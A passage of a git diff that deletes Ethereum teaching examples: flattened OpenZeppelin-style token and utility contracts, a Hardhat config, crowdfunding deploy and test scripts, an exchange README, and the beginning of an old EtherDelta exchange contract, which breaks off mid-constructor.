- * power can be queried through the public accessors {getCurrentVotes} and {getPriorVotes}.
- *
- * By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
- * requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
- * Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
- * will significantly increase the base gas cost of transfers.
- *
- * _Available since v4.2._
- */
-abstract contract ERC20VotesComp is ERC20Votes {
-    /**
-     * @dev Comp version of the {getVotes} accessor, with `uint96` return type.
-     */
-    function getCurrentVotes(address account) external view returns (uint96) {
-        return SafeCast.toUint96(getVotes(account));
-    }
-    /**
-     * @dev Comp version of the {getPastVotes} accessor, with `uint96` return type.
-     */
-    function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96) {
-        return SafeCast.toUint96(getPastVotes(account, blockNumber));
-    }
-
-    /**
-     * @dev Maximum token supply. Reduced to `type(uint96).max` (2^96^ - 1) to fit COMP interface.
-     */
-    function _maxSupply() internal view virtual override returns (uint224) {
-        return type(uint96).max;
-    }
-}
-
-
-// File contracts/presets/ERC20PresetFixedSupply.sol
-
-
-
-
-/**
- * @dev {ERC20} token, including:
- *
- *  - Preminted initial supply
- *  - Ability for holders to burn (destroy) their tokens
- *  - No access control mechanism (for minting/pausing) and hence no governance
- *
- * This contract uses {ERC20Burnable} to include burn capabilities - head to
- * its documentation for details.
- *
- * _Available since v3.4._
- */
-contract ERC20PresetFixedSupply is ERC20Burnable {
-    /**
-     * @dev Mints `initialSupply` amount of token and transfers them to `owner`.
-     *
-     * See {ERC20-constructor}.
-     */
-    constructor(
-        string memory name,
-        string memory symbol,
-        uint256 initialSupply,
-        address owner
-    ) ERC20(name, symbol) {
-        _mint(owner, initialSupply);
-    }
-}
-
-// File contracts/utils/Address.sol
-
-/**
- * @dev Collection of functions related to the address type
- */
-library Address {
-    /**
-     * @dev Returns true if `account` is a contract.
-     *
-     * [IMPORTANT]
-     * ====
-     * It is unsafe to assume that an address for which this function returns
-     * false is an externally-owned account (EOA) and not a contract.
-     *
-     * Among others, `isContract` will return false for the following
-     * types of addresses:
-     *
-     *  - an externally-owned account
-     *  - a contract in construction
-     *  - an address where a contract will be created
-     *  - an address where a contract lived, but was destroyed
-     * ====
-     */
-    function isContract(address account) internal view returns (bool) {
-        // This method relies on extcodesize, which returns 0 for contracts in
-        // construction, since the code is only stored at the end of the
-        // constructor execution.
-
-        uint256 size;
-        // solhint-disable-next-line no-inline-assembly
-        assembly { size := extcodesize(account) }
-        return size > 0;
-    }
-
-    /**
-     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
-     * `recipient`, forwarding all available gas and reverting on errors.
-     *
-     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
-     * of certain opcodes, possibly making contracts go over the 2300 gas limit
-     * imposed by `transfer`, making them unable to receive funds via
-     * `transfer`. {sendValue} removes this limitation.
-     *
-     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
-     *
-     * IMPORTANT: because control is transferred to `recipient`, care must be
-     * taken to not create reentrancy vulnerabilities. Consider using
-     * {ReentrancyGuard} or the
-     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
-     */
-    function sendValue(address payable recipient, uint256 amount) internal {
-        require(address(this).balance >= amount, "Address: insufficient balance");
-
-        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
-        (bool success, ) = recipient.call{ value: amount }("");
-        require(success, "Address: unable to send value, recipient may have reverted");
-    }
-
-    /**
-     * @dev Performs a Solidity function call using a low level `call`. A
-     * plain`call` is an unsafe replacement for a function call: use this
-     * function instead.
-     *
-     * If `target` reverts with a revert reason, it is bubbled up by this
-     * function (like regular Solidity function calls).
-     *
-     * Returns the raw returned data. To convert to the expected return value,
-     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
-     *
-     * Requirements:
-     *
-     * - `target` must be a contract.
-     * - calling `target` with `data` must not revert.
-     *
-     * _Available since v3.1._
-     */
-    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
-      return functionCall(target, data, "Address: low-level call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
-     * `errorMessage` as a fallback revert reason when `target` reverts.
-     *
-     * _Available since v3.1._
-     */
-    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
-        return functionCallWithValue(target, data, 0, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but also transferring `value` wei to `target`.
-     *
-     * Requirements:
-     *
-     * - the calling contract must have an ETH balance of at least `value`.
-     * - the called Solidity function must be `payable`.
-     *
-     * _Available since v3.1._
-     */
-    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
-        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
-     * with `errorMessage` as a fallback revert reason when `target` reverts.
-     *
-     * _Available since v3.1._
-     */
-    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
-        require(address(this).balance >= value, "Address: insufficient balance for call");
-        require(isContract(target), "Address: call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.call{ value: value }(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but performing a static call.
-     *
-     * _Available since v3.3._
-     */
-    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
-        return functionStaticCall(target, data, "Address: low-level static call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
-     * but performing a static call.
-     *
-     * _Available since v3.3._
-     */
-    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
-        require(isContract(target), "Address: static call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.staticcall(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
-     * but performing a delegate call.
-     *
-     * _Available since v3.4._
-     */
-    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
-        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
-    }
-
-    /**
-     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
-     * but performing a delegate call.
-     *
-     * _Available since v3.4._
-     */
-    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
-        require(isContract(target), "Address: delegate call to non-contract");
-
-        // solhint-disable-next-line avoid-low-level-calls
-        (bool success, bytes memory returndata) = target.delegatecall(data);
-        return _verifyCallResult(success, returndata, errorMessage);
-    }
-
-    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
-        if (success) {
-            return returndata;
-        } else {
-            // Look for revert reason and bubble it up if present
-            if (returndata.length > 0) {
-                // The easiest way to bubble the revert reason is using memory via assembly
-
-                // solhint-disable-next-line no-inline-assembly
-                assembly {
-                    let returndata_size := mload(returndata)
-                    revert(add(32, returndata), returndata_size)
-                }
-            } else {
-                revert(errorMessage);
-            }
-        }
-    }
-}
-
-
-// File contracts/utils/SafeERC20.sol
-
-
-
-
-
-
-/**
- * @title SafeERC20
- * @dev Wrappers around ERC20 operations that throw on failure (when the token
- * contract returns false). Tokens that return no value (and instead revert or
- * throw on failure) are also supported, non-reverting calls are assumed to be
- * successful.
- * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
- * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
- */
-library SafeERC20 {
-    using Address for address;
-
-    function safeTransfer(IERC20 token, address to, uint256 value) internal {
-        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
-    }
-
-    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
-        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
-    }
-
-    /**
-     * @dev Deprecated. This function has issues similar to the ones found in
-     * {IERC20-approve}, and its usage is discouraged.
-     *
-     * Whenever possible, use {safeIncreaseAllowance} and
-     * {safeDecreaseAllowance} instead.
-     */
-    function safeApprove(IERC20 token, address spender, uint256 value) internal {
-        // safeApprove should only be called when setting an initial allowance,
-        // or when resetting it to zero. To increase and decrease it, use
-        // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
-        // solhint-disable-next-line max-line-length
-        require((value == 0) || (token.allowance(address(this), spender) == 0),
-            "SafeERC20: approve from non-zero to non-zero allowance"
-        );
-        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
-    }
-
-    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
-        uint256 newAllowance = token.allowance(address(this), spender) + value;
-        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
-    }
-
-    function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
-        unchecked {
-            uint256 oldAllowance = token.allowance(address(this), spender);
-            require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
-            uint256 newAllowance = oldAllowance - value;
-            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
-        }
-    }
-
-    /**
-     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
-     * on the return value: the return value is optional (but if data is returned, it must not be false).
-     * @param token The token targeted by the call.
-     * @param data The call data (encoded using abi.encode or one of its variants).
-     */
-    function _callOptionalReturn(IERC20 token, bytes memory data) private {
-        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
-        // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
-        // the target address contains contract code and also asserts for success in the low-level call.
-
-        bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
-        if (returndata.length > 0) { // Return data is optional
-            // solhint-disable-next-line max-line-length
-            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
-        }
-    }
-}
-
-
-// File contracts/utils/TokenTimelock.sol
-
-
-
-
-
-/**
- * @dev A token holder contract that will allow a beneficiary to extract the
- * tokens after a given release time.
- *
- * Useful for simple vesting schedules like "advisors get all of their tokens
- * after 1 year".
- */
-contract TokenTimelock {
-    using SafeERC20 for IERC20;
-
-    // ERC20 basic token contract being held
-    IERC20 immutable private _token;
-
-    // beneficiary of tokens after they are released
-    address immutable private _beneficiary;
-
-    // timestamp when token release is enabled
-    uint256 immutable private _releaseTime;
-
-    constructor (IERC20 token_, address beneficiary_, uint256 releaseTime_) {
-        // solhint-disable-next-line not-rely-on-time
-        require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
-        _token = token_;
-        _beneficiary = beneficiary_;
-        _releaseTime = releaseTime_;
-    }
-
-    /**
-     * @return the token being held.
-     */
-    function token() public view virtual returns (IERC20) {
-        return _token;
-    }
-
-    /**
-     * @return the beneficiary of the tokens.
-     */
-    function beneficiary() public view virtual returns (address) {
-        return _beneficiary;
-    }
-
-    /**
-     * @return the time when the tokens are released.
-     */
-    function releaseTime() public view virtual returns (uint256) {
-        return _releaseTime;
-    }
-
-    /**
-     * @notice Transfers tokens held by timelock to beneficiary.
-     */
-    function release() public virtual {
-        // solhint-disable-next-line not-rely-on-time
-        require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
-
-        uint256 amount = token().balanceOf(address(this));
-        require(amount > 0, "TokenTimelock: no tokens to release");
-
-        token().safeTransfer(beneficiary(), amount);
-    }
-}
-
-
-// File contracts/utils/cryptography/MerkleProof.sol
-
-
-
-
-
-/**
- * @dev These functions deal with verification of Merkle Trees proofs.
- *
- * The proofs can be generated using the JavaScript library
- * https://github.com/miguelmota/merkletreejs[merkletreejs].
- * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
- *
- * See `test/utils/cryptography/MerkleProof.test.js` for some examples.
- */
-library MerkleProof {
-    /**
-     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
-     * defined by `root`. For this, a `proof` must be provided, containing
-     * sibling hashes on the branch from the leaf to the root of the tree. Each
-     * pair of leaves and each pair of pre-images are assumed to be sorted.
-     */
-    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
-        bytes32 computedHash = leaf;
-
-        for (uint256 i = 0; i < proof.length; i++) {
-            bytes32 proofElement = proof[i];
-
-            if (computedHash <= proofElement) {
-                // Hash(current computed hash + current element of the proof)
-                computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
-            } else {
-                // Hash(current element of the proof + current computed hash)
-                computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
-            }
-        }
-
-        // Check if the computed hash (root) is equal to the provided root
-        return computedHash == root;
-    }
-}
-
-
-// File contracts/presets/ERC20PresetMinterPauser.sol
-
-
-
-
-
-
-
-
-
-/**
- * @dev {ERC20} token, including:
- *
- *  - ability for holders to burn (destroy) their tokens
- *  - a minter role that allows for token minting (creation)
- *  - a pauser role that allows to stop all token transfers
- *
- * This contract uses {AccessControl} to lock permissioned functions using the
- * different roles - head to its documentation for details.
- *
- * The account that deploys the contract will be granted the minter and pauser
- * roles, as well as the default admin role, which will let it grant both minter
- * and pauser roles to other accounts.
- */
-contract ERC20PresetMinterPauser is Context, AccessControlEnumerable, ERC20Burnable, ERC20Pausable {
-    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
-    bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
-
-    /**
-     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
-     * account that deploys the contract.
-     *
-     * See {ERC20-constructor}.
-     */
-    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
-    _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
-
-    _setupRole(MINTER_ROLE, _msgSender());
-    _setupRole(PAUSER_ROLE, _msgSender());
-    }
-
-    /**
-     * @dev Creates `amount` new tokens for `to`.
-     *
-     * See {ERC20-_mint}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `MINTER_ROLE`.
-     */
-    function mint(address to, uint256 amount) public virtual {
-    require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
-    _mint(to, amount);
-    }
-
-    /**
-     * @dev Pauses all token transfers.
-     *
-     * See {ERC20Pausable} and {Pausable-_pause}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `PAUSER_ROLE`.
-     */
-    function pause() public virtual {
-    require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
-    _pause();
-    }
-
-    /**
-     * @dev Unpauses all token transfers.
-     *
-     * See {ERC20Pausable} and {Pausable-_unpause}.
-     *
-     * Requirements:
-     *
-     * - the caller must have the `PAUSER_ROLE`.
-     */
-    function unpause() public virtual {
-    require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
-    _unpause();
-    }
-
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) {
-    super._beforeTokenTransfer(from, to, amount);
-    }
-}
-
-
-
-contract SimpleToken is ERC20PresetMinterPauser {
-
-    /**
-     * @dev Constructor that gives msg.sender all of existing tokens.
-     */
-
-    uint8 private _decimals;
-    uint256 public  INITIAL_SUPPLY = 10000 * (10 ** uint256(18));
-
-
-    function decimals() public view  override returns (uint8) {
-    return _decimals;
-    }
-
-    constructor(string memory name, string memory symbol, uint8  decimals, uint256  initial_supply) public  ERC20PresetMinterPauser(name, symbol){
-    _decimals = decimals;
-    INITIAL_SUPPLY = initial_supply * (10 ** uint256(decimals)) ;
-    _mint(msg.sender, INITIAL_SUPPLY);
-    }
-
-}
diff --git a/Example12-token-crowdfund/hardhat.config.js b/Example12-token-crowdfund/hardhat.config.js
deleted file mode 100644
index b4f5bd53a..000000000
--- a/Example12-token-crowdfund/hardhat.config.js
+++ /dev/null
@@ -1,73 +0,0 @@
-require("@nomiclabs/hardhat-waffle");
-const fs = require("fs");
-
-// This is a sample Hardhat task. To learn how to create your own go to
-// https://hardhat.org/guides/create-task.html
-task("accounts", "Prints the list of accounts", async () => {
-  const accounts = await ethers.getSigners();
-
-  for (const account of accounts) {
-    console.log(account.address);
-  }
-});
-
-function mnemonic() {
-
- return fs.readFileSync("./sk.txt").toString().trim();
-
-}
-
-/**
- * @type import('hardhat/config').HardhatUserConfig
- */
-module.exports = {
-  solidity: {
-    compilers: [
-      {
-        version: "0.5.4"
-      },
-      {
-        version: "0.4.18",
-        settings: {}
-      },
-      {
-        version: "0.8.0",
-        settings: {}
-      },
-    ]
-  },
-  networks: {
-    localhost: {
-      url: "http://localhost:8545",
-      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
-      /*
-        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
-        (you can put in a mnemonic here to set the deployer locally)
-      */
-    },
-    rinkeby: {
-      url: "https://rinkeby.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-      mnemonic()
-      ],
-    },
-    kovan: {
-      url: "https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    mainnet: {
-      url: "https://mainnet.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    ropsten: {
-      url: "https://ropsten.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-  }
-};
diff --git a/Example12-token-crowdfund/package.json b/Example12-token-crowdfund/package.json
deleted file mode 100644
index 0cd891357..000000000
--- a/Example12-token-crowdfund/package.json
+++ /dev/null
@@ -1,23 +0,0 @@
-{
-  "name": "Example12-token-crowdfund",
-  "version": "1.0.0",
-  "description": "",
-  "main": "index.js",
-  "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
-  },
-  "keywords": [],
-  "author": "",
-  "license": "ISC",
-  "dependencies": {
-    "@openzeppelin/contracts": "^4.1.0",
-    "hardhat": "^2.4.1"
-  },
-  "devDependencies": {
-    "@nomiclabs/hardhat-ethers": "^2.0.2",
-    "@nomiclabs/hardhat-waffle": "^2.0.1",
-    "chai": "^4.3.4",
-    "ethereum-waffle": "^3.4.0",
-    "ethers": "^5.3.1"
-  }
-}
diff --git a/Example12-token-crowdfund/scripts/deploy_crowdfunding.js b/Example12-token-crowdfund/scripts/deploy_crowdfunding.js
deleted file mode 100644
index 326042335..000000000
--- a/Example12-token-crowdfund/scripts/deploy_crowdfunding.js
+++ /dev/null
@@ -1,41 +0,0 @@
-// We require the Hardhat Runtime Environment explicitly here. This is optional 
-// but useful for running the script in a standalone fashion through `node <script>`.
-//
-// When running the script with `hardhat run <script>` you'll find the Hardhat
-// Runtime Environment's members available in the global scope.
-const hre = require("hardhat");
-
-async function main() {
-
-    const [deployer] = await ethers.getSigners();
-
-    console.log(
-        "Deploying contracts with the account:",
-        deployer.address
-    );
-
-    console.log("Account balance:", (await deployer.getBalance()).toString());
-
-    //deploy Crowdfunding
-    const crowdFundingContractFactory = await ethers.getContractFactory("CrowdFunding");
-    const crowdFundingContract = await crowdFundingContractFactory.deploy();
-    await crowdFundingContract.deployed()
-
-    console.log("CrowdFundingContract address:", crowdFundingContract.address);
-
-    //start Project
-    await crowdFundingContract.startProject("Buy toys","Buy toys",1,100)
-    let allProjects = await crowdFundingContract.returnAllProjects()
-    console.log(JSON.stringify(allProjects))
-
-}
-
-// We recommend this pattern to be able to use async/await everywhere
-// and properly handle errors.
-main()
-  .then(() => process.exit(0))
-  .catch(error => {
-    console.error(error);
-    process.exit(1);
-  });
-
diff --git a/Example12-token-crowdfund/test/project-test.js b/Example12-token-crowdfund/test/project-test.js
deleted file mode 100644
index 9591364cc..000000000
--- a/Example12-token-crowdfund/test/project-test.js
+++ /dev/null
@@ -1,99 +0,0 @@
-const { expect } = require("chai");
-
-describe("Project contract", function () {
-    let projectContractFactory;
-    let projectContract;
-    let creator;
-    let donator1;
-    let donator2;
-
-    beforeEach(async function () {
-        [creator,donator1,donator2] = await ethers.getSigners();
-        console.log(creator.address)
-        projectContractFactory = await ethers.getContractFactory("Project");
-        const expiretime = parseInt(new Date().getTime()/1000) + 7 * 24 * 60 * 60
-
-        projectContract = await projectContractFactory.deploy(creator.address,"Buy some toys","Buy some toys",expiretime,100);
-        await projectContract.deployed();
-        
-        expect(projectContract.address).to.not.equal(null);
-      });
-
-    describe('Start a new Project', function () {
-      // `it` is another Mocha function. This is the one you use to define your
-      // tests. It receives the test name, and a callback function.
-
-      it('Get details of a new project', async function () {
-        let projectDetail = await projectContract.getDetails()
-        expect(projectDetail.goalAmount).to.equal(100)
-      })
-    })
-
-    describe('Check If Funding Complete Or Expired', function () {
-      // `it` is another Mocha function. This is the one you use to define your
-      // tests. It receives the test name, and a callback function.
-
-      it('Get the complete time', async function () {
-        await projectContract.checkIfFundingCompleteOrExpired()
-        expect(parseInt(await projectContract.completeAt())).to.not.equal(null);
-      })
-    })
-
-    describe('Contribute to project ', function () {
-        // `it` is another Mocha function. This is the one you use to define your
-        // tests. It receives the test name, and a callback function.
-
-        it('Donate with calling contribute ', async function () {
-            let overrides = {
-                // To convert Ether to Wei:
-                value: 10,
-            }
-
-            const artifact = artifacts.readArtifactSync("Project")
-            const transactionContract = new ethers.Contract(projectContract.address, artifact.abi, donator1);
-            await transactionContract.contribute(overrides)
-        
-            expect(parseInt(await transactionContract.currentBalance())).to.equal(10)
-        })
-    })
-
-    describe('Project successed when get enough donation', function () {
-        // `it` is another Mocha function. This is the one you use to define your
-        // tests. It receives the test name, and a callback function.
-        
-        
-        it('Donate 101', async function () {
-            let overrides = {
-                // To convert Ether to Wei:
-                value: 101,
-            }
-
-            const artifact = artifacts.readArtifactSync("Project")
-            const transactionContract = new ethers.Contract(projectContract.address, artifact.abi, donator1);
-            await transactionContract.contribute(overrides)
-        
-            expect(parseInt(await transactionContract.state())).to.equal(2)
-        })
-    })
-
-    describe('Creator get payout when donation success', function () {
-        // `it` is another Mocha function. This is the one you use to define your
-        // tests. It receives the test name, and a callback function.
-        
-        
-        it('Payout to the creator', async function () {
-            let overrides = {
-                // To convert Ether to Wei:
-                value: 101,
-            }
-
-            const artifact = artifacts.readArtifactSync("Project")
-            const transactionContract = new ethers.Contract(projectContract.address, artifact.abi, donator1);
-            await transactionContract.contribute(overrides)
-
-            expect((await creator.getBalance()).toString()).to.equal("9999943194600000000202")
-        })
-    })
-
-});
-
diff --git a/Example13-exhange/README.md b/Example13-exhange/README.md
deleted file mode 100644
index 08c970630..000000000
--- a/Example13-exhange/README.md
+++ /dev/null
@@ -1,15 +0,0 @@
-## Exchange
-
-  有去中心化交易所， 有 etherdelta订单薄模式和uniswap的AMM做市商模式。
-  待集成 0x & bancor & kyber
-   
-
-
-## 参考链接
-
-https://github.com/etherdelta/smart_contract/blob/master/etherdelta.sol   
-https://github.com/Uniswap/old-solidity-contracts/blob/master/contracts/Exchange/UniswapExchange.sol
-https://zhuanlan.zhihu.com/p/96664332
-https://github.com/PhABC/ethereum-alarm-clock 
-https://www.codementor.io/@yosriady/signing-and-verifying-ethereum-signatures-vhe8ro3h6   
-https://jeiwan.net/posts/programming-defi-uniswap-1/  js
\ No newline at end of file
diff --git a/Example13-exhange/contracts/etherdelta/etherdelta.sol b/Example13-exhange/contracts/etherdelta/etherdelta.sol
deleted file mode 100644
index bd86c107e..000000000
--- a/Example13-exhange/contracts/etherdelta/etherdelta.sol
+++ /dev/null
@@ -1,312 +0,0 @@
-pragma solidity ^0.4.9;
-
-contract SafeMath {
-    function safeMul(uint a, uint b) internal returns (uint) {
-        uint c = a * b;
-        assert(a == 0 || c / a == b);
-        return c;
-    }
-
-    function safeSub(uint a, uint b) internal returns (uint) {
-        assert(b <= a);
-        return a - b;
-    }
-
-    function safeAdd(uint a, uint b) internal returns (uint) {
-        uint c = a + b;
-        assert(c>=a && c>=b);
-        return c;
-    }
-
-    function assert(bool assertion) internal {
-        if (!assertion) throw;
-    }
-}
-
-contract Token {
-    /// @return total amount of tokens
-    function totalSupply() constant returns (uint256 supply) {}
-
-    /// @param _owner The address from which the balance will be retrieved
-    /// @return The balance
-    function balanceOf(address _owner) constant returns (uint256 balance) {}
-
-    /// @notice send `_value` token to `_to` from `msg.sender`
-    /// @param _to The address of the recipient
-    /// @param _value The amount of token to be transferred
-    /// @return Whether the transfer was successful or not
-    function transfer(address _to, uint256 _value) returns (bool success) {}
-
-    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
-    /// @param _from The address of the sender
-    /// @param _to The address of the recipient
-    /// @param _value The amount of token to be transferred
-    /// @return Whether the transfer was successful or not
-    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
-
-    /// @notice `msg.sender` approves `_addr` to spend `_value` tokens
-    /// @param _spender The address of the account able to transfer the tokens
-    /// @param _value The amount of wei to be approved for transfer
-    /// @return Whether the approval was successful or not
-    function approve(address _spender, uint256 _value) returns (bool success) {}
-
-    /// @param _owner The address of the account owning tokens
-    /// @param _spender The address of the account able to transfer the tokens
-    /// @return Amount of remaining tokens allowed to spent
-    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
-
-    event Transfer(address indexed _from, address indexed _to, uint256 _value);
-    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
-
-    uint public decimals;
-    string public name;
-}
-
-contract StandardToken is Token {
-
-    function transfer(address _to, uint256 _value) returns (bool success) {
-        //Default assumes totalSupply can't be over max (2^256 - 1).
-        //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
-        //Replace the if with this one instead.
-        if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
-            //if (balances[msg.sender] >= _value && _value > 0) {
-            balances[msg.sender] -= _value;
-            balances[_to] += _value;
-            Transfer(msg.sender, _to, _value);
-            return true;
-        } else { return false; }
-    }
-
-    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
-        //same as above. Replace this line with the following if you want to protect against wrapping uints.
-        if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
-            //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
-            balances[_to] += _value;
-            balances[_from] -= _value;
-            allowed[_from][msg.sender] -= _value;
-            Transfer(_from, _to, _value);
-            return true;
-        } else { return false; }
-    }
-
-    function balanceOf(address _owner) constant returns (uint256 balance) {
-        return balances[_owner];
-    }
-
-    function approve(address _spender, uint256 _value) returns (bool success) {
-        allowed[msg.sender][_spender] = _value;
-        Approval(msg.sender, _spender, _value);
-        return true;
-    }
-
-    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
-        return allowed[_owner][_spender];
-    }
-
-    mapping(address => uint256) balances;
-
-    mapping (address => mapping (address => uint256)) allowed;
-
-    uint256 public totalSupply;
-}
-
-contract ReserveToken is StandardToken, SafeMath {
-    address public minter;
-    function ReserveToken() {
-        minter = msg.sender;
-    }
-    function create(address account, uint amount) {
-        if (msg.sender != minter) throw;
-        balances[account] = safeAdd(balances[account], amount);
-        totalSupply = safeAdd(totalSupply, amount);
-    }
-    function destroy(address account, uint amount) {
-        if (msg.sender != minter) throw;
-        if (balances[account] < amount) throw;
-        balances[account] = safeSub(balances[account], amount);
-        totalSupply = safeSub(totalSupply, amount);
-    }
-}
-
-contract AccountLevels {
-    //given a user, returns an account level
-    //0 = regular user (pays take fee and make fee)
-    //1 = market maker silver (pays take fee, no make fee, gets rebate)
-    //2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
-    function accountLevel(address user) constant returns(uint) {}
-}
-
-contract AccountLevelsTest is AccountLevels {
-    mapping (address => uint) public accountLevels;
-
-    function setAccountLevel(address user, uint level) {
-        accountLevels[user] = level;
-    }
-
-    function accountLevel(address user) constant returns(uint) {
-        return accountLevels[user];
-    }
-}
-
-contract EtherDelta is SafeMath {
-    address public admin; //the admin address
-    address public feeAccount; //the account that will receive fees
-    address public accountLevelsAddr; //the address of the AccountLevels contract
-    uint public feeMake; //percentage times (1 ether)
-    uint public feeTake; //percentage times (1 ether)
-    uint public feeRebate; //percentage times (1 ether)
-    mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
-    mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
-    mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
-
-    event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
-    event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
-    event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
-    event Deposit(address token, address user, uint amount, uint balance);
-    event Withdraw(address token, address user, uint amount, uint balance);
-
-    function EtherDelta(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) {
-        admin = admin_;
-        feeAccount = feeAccount_;
